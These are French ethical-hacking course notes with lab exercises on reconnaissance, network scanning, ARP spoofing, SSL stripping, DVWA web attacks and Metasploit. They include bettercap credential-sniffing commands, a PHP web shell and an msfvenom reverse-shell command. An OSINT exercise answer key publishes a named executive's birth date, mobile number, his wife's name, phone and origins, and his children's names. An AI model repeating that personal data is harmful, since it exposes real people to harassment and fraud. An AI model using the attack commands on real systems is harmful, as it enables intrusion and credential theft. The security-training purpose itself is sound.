Formation Ethical Hacking

Module 01 : Introduction Ethical Hacking

Mitre ATTACK : https://attack.mitre.org/ CVE : https://www.cvedetails.com CVSS calculator : https://www.first.org/cvss/calculator/3.0

Cap'n Crunch (John Draper) : https://fr.wikipedia.org/wiki/John_Draper

La loi Lopmi indiquant du paiment de la rançon en cas de cyber-attaque https://www.vie-publique.fr/loi/284424-loi-24-janvier-2023-securite-lopmi-programmation-ministere-interieur https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000047046768 Extrait intéressant : Pour une meilleure information de la police et de la justice, les clauses de remboursement des cyber-rançons par les assurances sont encadrées. Le remboursement est désormais conditionné au dépôt d'une plainte de la victime dans les 72h après connaissance de l'infraction. Les parlementaires ont prévu que l'obligation soit limitée aux professionnels et qu'elle s'applique à partir du 24 avril 2023. L'assurabilité sous conditions des cyber-rançons est une recommandation du ministère de l'économie, figurant dans son rapport sur "le développement de l'assurance du risque cyber".

Fiches de réponses à incidents : https://github.com/certsocietegenerale/IRM/tree/master/EN

Module 02 : Reconnaissance

Fuites de mots de passe : https://haveibeenpwned.com/ Google dork/hack https://www.exploit-db.com/google-hacking-database

Google Hackiog automatisé : https://github.com/IvanGlinkin/Fast-Google-Dorks-Scan/blob/master/FGDS.sh https://github.com/trhacknon/GooFuzz

Recherche de buckets AWS, Azure Gray Hat Warfare : https://buckets.grayhatwarfare.com/

Moteur de recherche du RIPE (adresses IP en Europe)

Enumeration DNS :

- Google Hacking
- transfert de zone DNS
- certificats SSL/TLS : crt.sh
- Outils spécialisés :
  - dnsenum
  - fierce
  - sublist3r
  - Lepus
- Sites spécialisés :
  - https://dnsdumpster.com/
  - virustotal.com
  - https://www.robtex.com/

Vérifier qu'un email est enregistré sur un site : https://github.com/megadose/holehe https://epieos.com/

Un copain de sherlock que j'utilise beaucoup : https://github.com/soxoj/maigret

p0f : prise d'information réseau passive

identifier des emails valides sur un domaine : theHarvester Outils de campagnes de phishing :

- https://getgophish.com/

TTL par OS : https://subinsb.com/default-device-ttl-values/ TL;DR : 128 = Windows (majorité des cas) 64 = Linux (majorité des cas) Note : Majorité des cas = de mon éxperience sur 3/4 ans de pentest

Contrôle adresses emails : Capency (anciennement CapAdress) Utilise les réponses SMTP hardbounce : https://www.mindbaz.com/technologie-email/bounces-email/

Annuaires de sites OSINT: https://goosint.com/ https://osintframework.com/

TP Prise d'informations

1. Quel est le nom du président de la société Wallix ? Jean-Noël De Galzain (Google)
2. Quelle est l’adresse postale de la société ? 250 bis Rue du Faubourg Saint-Honoré, 75008 Paris (Google)
3. Quelle est la date de naissance du président ? 3 juin 1971 (Copains d'avant ou verif.com)
4. Quel est son numéro de téléphone portable ? +33 6 32 64 34 34 (jean noel de galzain telephone sur Google ou WHOIS sur degalzain.com identifié via Twitter)
5. Quel est le prénom de sa femme ? Gabrielle (via archive.org sur www.degalzain.com) intext:"jean noël de galzain" intext:domicile
6. Combien a-t-il d’enfant·s ? S’il en a, quel·s est/sont le·s prénom·s ? Louis (via archive.org sur www.degalzain.com) Vladimir (via pappers.fr et statuts de la société Gabji, on obtient

les enfants et leurs dates de naissance)
7. Quelle est l’adresse email de sa femme ? Son numéro de téléphone portable ?
    - 33 6 08 32 52 70 (via Google en tapant : "gabriella ponjavic" "06") Bonus : Origines de sa femme et ville de naissance Bosnie-Herzegovine / Tuzla (via pappers.fr dans les statuts de la société Gabji)

Module 03 : Scanning Networks

Machine LAMPSec5

patrick : ne1410s

TP Nmap

Cible : LAMPSec5

1. Effectuez un SYN scan sur la machine cible
2. Quelles sont les options qui permettent d'accélérer une analyse ?
3. Quelle est la différence entre un SYN scan et un scan TCP Connect ?
4. Par défaut Nmap analyse-t-il tous les ports TCP ?
5. Scannez tous les ports TCP de la machine
6. Effectuez une détection de service
7. Quelles sont les informations complémentaires qui ont pu être récupérées grâce à la détection de services ?
8. Quelles sont les méthodes permettant de connaitre le système d'exploitation d'une machine ?
9. Déterminez le système d'exploitation utilisé par la machine cible
10. La détection du système d'exploitation est-elle fiable ?
11. Effectuez une analyse complète de la machine cible (scan agressif)

    - A : -sC, -sV, -O, --traceroute

12. Quelles analyses ont été effectuées ?
13. Qu'est-ce que NSE ?
14. Effectuez une sortie de scan au format XML

Nmap T options : https://nmap.org/book/performance-timing-templates.html

Scans UDP : unicornscan

Je paratage un outil sympa : https://explainshell.com/explain?cmd=nmap+-PS

Outils pour forger des paquets cutoms : - scapy Tutos scapy : https://thepacketgeek.com/scapy/building-network-tools/

Vérifier leak d'une IP lors de l'utilisation de VPN/proxy : https://ipleak.net/

Module 08 : Sniffing

Sécuriser les échanges DNS

- DNSSEC
- DOH (DNS Over HTTPS)
- DOT (DNS Over TLS)

Récupération d'identifiants sur des flux non chiffrés

Attaquant : Kali avec bettercap Cible : Windows 10

Documentation bettercap : https://www.bettercap.org/

- Installer bettercap : apt update && apt install bettercap
- Lancer bettercap
- Activer les modules de reconnaissance, probe et sniffing
- Activer l'ARP Poisonning avec comme cible la machine Win10
- Vérifier que le cache ARP de la machine cible a bien été empoisonné
- La cible se rend sur http://www.jeux.org ou http://login.ebiquity.com
- l'attaquant récupère le login/password de la cible (ajouter un filtre qui récupérer que le traffic qui correspond à un mot clé donné)

bettercap net.recon on net.probe on net.sniff on set arp.spoof.targets <IP> arp.spoof on

Puis se rendre sur login.ebiquity.com et s'identifier

Récupération d'identifiants sur des flux chiffrés

- En quoi consiste le SSL Stripping ?
- Mettez le en place avec bettercap

- Depuis la machine cible, rendez-vous sur cdiscount.com, puis tentez de vous connecter sur le site
- Que se passe t-il côté cible ?
- Côté attaquant, que récupére-t-on ?
- Qu'est ce que le HSTS ? Comment cela fonctionne ?

hsts peloading :

bettercap caplets.update set http.proxy.sslstrip true hstshijack/hstshijack set arp.spoof.targets <IP> arp.spoof on net.sniff on net.probe on

Module 13 : Hacking Webservers

DDoS : https://twitter.com/sehnaoui/status/858711356933111815

DDoS par amplification Cloudlare NTP : https://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack/ Mitel DDoS amplification : https://thehackernews.com/2022/03/hackers-abuse-mitel-devices-to-amplify.html TCP DDoS amplification : https://geneva.cs.umd.edu/papers/usenix-weaponizing-ddos.pdf https://thehackernews.com/2022/03/hackers-begin-weaponizing-tcp-middlebox.html SLP DDoS Amplification : https://thehackernews.com/2023/04/new-slp-vulnerability-could-let.html Plus gros DDoS de l'histoire :

- https://blog.cloudflare.com/fr-fr/26m-rps-ddos-fr-fr/ : En moins de 30 secondes, ce botnet a généré plus de 212 millions de requêtes HTTPS à partir de plus de 1 500 réseaux dans 121 pays.
- Novembre 2021 : Attaque sur MS de 3,45 Tbps : https://www.a10networks.com/blog/5-most-famous-ddos-attacks/

Outil attaque mot de passe en ligne : Hydra, Medusa, patator Outil attaque mot de passe hors ligne : john the ripper, hashcat Outils d'énumeration de répertoires et de fichiers : dirbuster, dirb, wfuzz Outils d'attaques de serveurs Web : Nikto

Arachni-scanner passe la main : https://ecsypno.com/pages/arachni-web-application-security-scanner-framework => devient Codename SCNR, dispo uniquement sous Linux pour le moment et passe payant dans 193 jours

TP Attaques Web

- Se connecter sur http://IP_DOJO3/dvwa admin:password

Cheat Sheets SHELL https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Générateur de reverse shells : https://www.revshells.com/

- Command Execution (RCE) : exécuter des commandes sur le système Tenter de faire afficher le contenu du fichier /etc/passwd - Low - Medium - High

  > Bonus : Tenter de récupérer un reverse shell sur la machine

Injection de commande sur téléphone IP : https://sysdream.com/injection-commandes-sur/ https://www.youtube.com/watch?v=MgMdvxb8ArA

- File Inclusion (Local File Inclusion et Remote File Inclusion) : lire des fichiers sur le système (ex. : /etc/passwd) et inclure un site distant dans la page - Low - Medium - High

  > Bonus : en niveau low, essayer d'éxecuter du code arbitraire hébergée sur la machine kali via la RFI

- Upload : téléverser un fichier malveillant sur le système dans le but d'en prendre le contrôle
  - Low uploader un fichier PHP avec du code PHP pour exécuter des commandes systèmes :

```
<?php
system($_GET["cmd"]);
?>
```

- Medium idem mais en contournant le mécanisme de sécurité (Burp peut aider....)
- High idem mais en contournant le mécanisme de sécurité

Feuilles de triche MySQL injection : https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

- SQL injection (Low) (utilisation de UNION)
  1. Afficher l'utilisateur courant de la BDD
  2. Afficher la version du MySQL
  3. Afficher les BDDs du MySQL
  4. Afficher les tables de la base du site DVWA
  5. Afficher les colonnes de la table contenant les utilisateurs de DVWA
  6. Afficher tous les utilisateurs et leurs mots de passe

Bonus : casser les hashs (via Google, john ou hashcat) https://hashes.com/en/decrypt/hash

Benchs hashcat :

- Apple M2 : https://gist.github.com/soxrok2212/35dba49d345ad91184f521ebed060826
- Apple M1 Ultra : https://gist.github.com/Chick3nman/ccfb883d2d267d94770869b09f5b96ed

Résumé module 06 : System Hacking

- Base SAM / Fichier NTDS.dit
- Formats de hashs : Windows : NTLM (dérivé de MD4) Linux : SHA-512 x 5000 + sel cryptographique MAC : PBKDF2 (SHA-512 x 1023) + sel cryptographique

Brute force d'empreintes digitales sur smartphones : https://www.it-connect.fr/android-bruteprint-une-technique-dattaque-par-brute-force-sur-le-lecteur-biometrique/#:~:text=Lorsque%20plusieurs%20empreintes%20digitales%20sont,l'appareil%20pendant%20plusieurs%20heures.?utm_content=cmp-true

- authents Microsoft : NTLM / Kerberos

Echange de clé Kerberos : https://commons.wikimedia.org/wiki/File:Kerberos-simple.svg?uselang=fr

Avantages Kerberos : - Session ==> allégé le trafic réseau - Chiffrement robuste ==> AES - Authentification mutuelle

Kerberos :

- système de tickets
- la sécurité repose principalement sur ces tickets
- vol de ticket = impersonation de compte sécurité contre le l'impersonation = groupe AD "Protected Users"
- Enumeration AD => BloodHound
- Audit AD => PingCastle
- AS_REP Roasting et Kerberoasting (SPN) outils d'attaques = Impacket Contre-mesure : comptes MSA/gMSA contre le Kerberoasting et Pre-Auth Kerberos contre l'AS_REP Roasting
- Pass-The-Hash (Responder + ntlmrelayx) Contre-mesure SMB Relay : SMB Signing
- Elevation de privileges :
  - DLL hijacking
  - pivoting
  - kernel exploit
  - sensitives files and backups
  - Unquoted Service Path https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae
  - Elévation de privs via droits SUDO : https://gtfobins.github.io/
  - (GFTObins pour windows) lolbas https://lolbas-project.github.io/#
  - Avec des drivers https://www.loldrivers.io/
  - Sous OSX : https://www.loobins.io/

Module 07 : Malwares

- trojan / RAT
- ver
- ransomware
- spyware
- virus
- adware
- rootkit = persistence
- hook système
- cryptojacker
- wipper
- keylogger
- cryptolocker
- fork bomb
- tracker
- stealer
- Analyse de malware :
  - statique (reverse engineering)
  - dynamique (analyse en temps réel via une sandbox)

Commande msfvenom pour générer un exécutable malveillant pour Windows :

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP_ATTAQUANT LPORT=4444 -f exe -o msf.exe
```

Doc Metasploit : https://www.offsec.com/metasploit-unleashed/

TP Metasploit

Cible : VM Metasploitable

Objectifs :

- Prise d'informations sur la machine (scan de ports)
- Recherche de vulnérabilités
- Configuration d'un exploit metasploit
- Exploitation du service vulnérable / Prise de contrôle

principales commandes msfconsole :

- help : affiche l'aide
- search : recherche d'exploits ou de scripts

- use : utilisation d'un script
- info : affiche les informations sur un exploit/script
- options : affiche les options à configurer pour l'exploit
- set [NOM_PARAM] [VAL_PARAM] : configurer l'exploit
- setG [NOM_PARAM] [VAL_PARAM] : configurer l'exploit si la valeur est permanente (ex: RHOSTS)
- run

Module 16 : Hacking Wireless Networks

Achat matériel Wi-Fi : http://www.wifi-highpower.com/

Matériel attaques : https://shop.hak5.org/

KRACK attack : https://www.krackattacks.com/

Loi Brouillage : https://www.secutec.fr/blog/legislation_brouilleurs_france/ https://www.capital.fr/economie-politique/un-pere-de-famille-brouille-involontairement-les-ondes-de-son-village-1428349 https://www.20minutes.fr/insolite/2869351-20200924-royaume-uni-tout-village-perdait-connexion-internet-chaque-matin-cause-vieille-television https://achdr.over-blog.com/2022/08/les-enquetes-de-l-anfr-les-brouillages-ont-plus-d-un-tour-dans-leur-sac.html https://www.anfr.fr/accueil/

Exemple attaque par canaux auxiliaires : https://www.tau.ac.il/~tromer/acoustic/

How to Weaponize your Cat to Hack Neighbours' Wi-Fi Passwords : https://thehackernews.com/2014/08/how-to-weaponize-your-cat-to-hack-your_9.html https://thehackernews.com/2021/10/israeli-researcher-cracked-over-3500-wi.html

Attaque du PMKID : https://null-byte.wonderhowto.com/how-to/hack-wi-fi-cracking-wpa2-passwords-using-new-pmkid-hashcat-attack-0189379/

Gros dictionnaires de mots de passe : https://weakpass.com/download

Attaques sur WPA3 : https://wpa3.mathyvanhoef.com/

Bluetooth : http://large.stanford.edu/courses/2012/ph250/roth1/

Attaque Bluetooth Tesla : https://www.tomsguide.fr/tesla-une-vulnerabilite-du-bluetooth-permet-de-les-ouvrir-et-de-les-demarrer-a-distance/

Module 09 : Social Engineering

Ouvrages :

- Human Hacking de Christopher Hadnagy
- Je sais que vous mentez de Paul Eckman
- L'art de la supercherie par Kevin Mitnick
- https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/
- Shia Labeouf vs 4chan : https://www.youtube.com/watch?v=GYhMozh7v0U&t=36s https://www.amazon.fr/Cuckoos-Egg-Tracking-Computer-Espionage/dp/1416507787 Viedo qui en parle : https://www.youtube.com/watch?v=hhkFT0EgT6o https://www.amazon.fr/Petit-trait%C3%A9-manipulation-lusage-honn%C3%AAtes/dp/2706118857 https://www.amazon.fr/Cryptographie-Libert%C3%A9s-individuelles-codes-secrets/dp/2340009804/ref=sr_1_12?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=1A7U4UID6RVTQ&keywords=cryptographie&qid=1687530754&s=books&sprefix=cryptographie%2Cstripbooks%2C90&sr=1-12
- Conférences du Hack :
  - https://www.youtube.com/@hzvprod
- Séries Netflix sur le SE :
  - L'arnaqueur de Tinder
  - Inventing Anna
- Série Netflix sur le renseignement :
  - Don’t F**k with Cats : un tueur trop viral

Outil de campagne de phishing : https://getgophish.com/

Action Discrète à Libé : https://www.dailymotion.com/video/x11htea

Labs

- https://www.vulnhub.com/
- https://sourceforge.net/projects/lampsecurity/
- www.root-me.org
- Web Security Dojo : https://sourceforge.net/projects/websecuritydojo/ https://exploit.education/
- https://www.offsec.com/labs/individual/
- https://www.hackthebox.com/
- https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview
- https://los.rubiya.kr/ -> lord of sql injection
- https://portswigger.net/web-security https://tryhackme.com/

Liste perso : On web pentest :

- [ ] Enigma group
- [ ] Hack me
- [ ] Xss game
- [ ] Lord or sqli
- [ ] Canhackme
- [ ] Hacker gateway
- [ ] Overthewire -> bien pour débuter
- [ ] Hacker101
- [ ] Sqlilabs
- [ ] Hackthis !

Binary related :

- [ ] Pwnable.tk
- [ ] Pwnable.kr
- [ ] Pwnable.xyz
- [ ] Crackmes.one
- [ ] Ioli
- [ ] Flare on
- [ ] Phœnix/exploit éducation
- [ ] Microcorruption
- [ ] Smashthestack
- [ ] reversing hero
- [ ] rop emporium

Général :

- [ ] Ctf247
- [ ] Rootme
- [ ] Picoctf

Exams blancs

https://passemall.com/free-ceh-v11-practice-test https://ceh.cagy.org/ https://www.examtopics.com/exams/eccouncil/312-50v12/ https://github.com/ryh04x/CEH-Exam-Questions

CEH Guides : https://www.amazon.fr/Certified-Ethical-Hacker-Exam-Guide/dp/1264269943 (v11) Préparation notes https://github.com/a3cipher/CEH/ https://www.amazon.fr/Certified-Ethical-Practice-Questions-English-ebook/dp/B0C2FFWB1T/ (v12)

Liste outils CEH Pratical : https://runmodule.com/2020/12/13/tools-for-ceh-practical/

https://www.amazon.fr/CEHv12-Certified-Ethical-Hacker-Notes/dp/B0BSY4T5QJ/ref=sr_1_9?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=6422CERODB6Z&keywords=ceh+v12&qid=1684856986&sprefix=ceh+v12%2Caps%2C853&sr=8-9

http://eprints.binadarma.ac.id/1000/1/KEAMANAN%20SISTEM%20INFORMASI%20MATERI%201.pdf (v10?) https://cybersecurityhoy.files.wordpress.com/2021/07/ceh-certified-ethical-hacker-practice-exams-fourth-edition.pdf (v10) https://yeahhub.com/cehv9-practice-exam-questions/chapter0-assessment.php

Avis sur cette technologie et sa robustesse Privacy-preserving computation techniques

Pour le pentest web : https://owasp.org/www-project-web-security-testing-guide/v42/ Sert globalement de checklist sur les tests a réaliser sur des webapp

Meilleure source pour le pentest AD https://zer1t0.gitlab.io/posts/attacking_ad/ Et pour la méthode : https://github.com/esidate/pentesting-active-directory

L'affaire KIA :

- https://www.youtube.com/watch?v=fbTrLyqL_nw
- https://www.malwarebytes.com/blog/news/2023/02/tiktok-car-theft-challenge-hyundai-kia-fix-flaw
- https://www.bleepingcomputer.com/news/security/hyundai-kia-patch-bug-allowing-car-thefts-with-a-usb-cable/
- Episode 911 de security now https://www.grc.com/sn/sn-911-notes.pdf

---

Revision #2
Created 26 June 2023 08:06:11 by Makito
Updated 26 June 2023 12:12:16 by Makito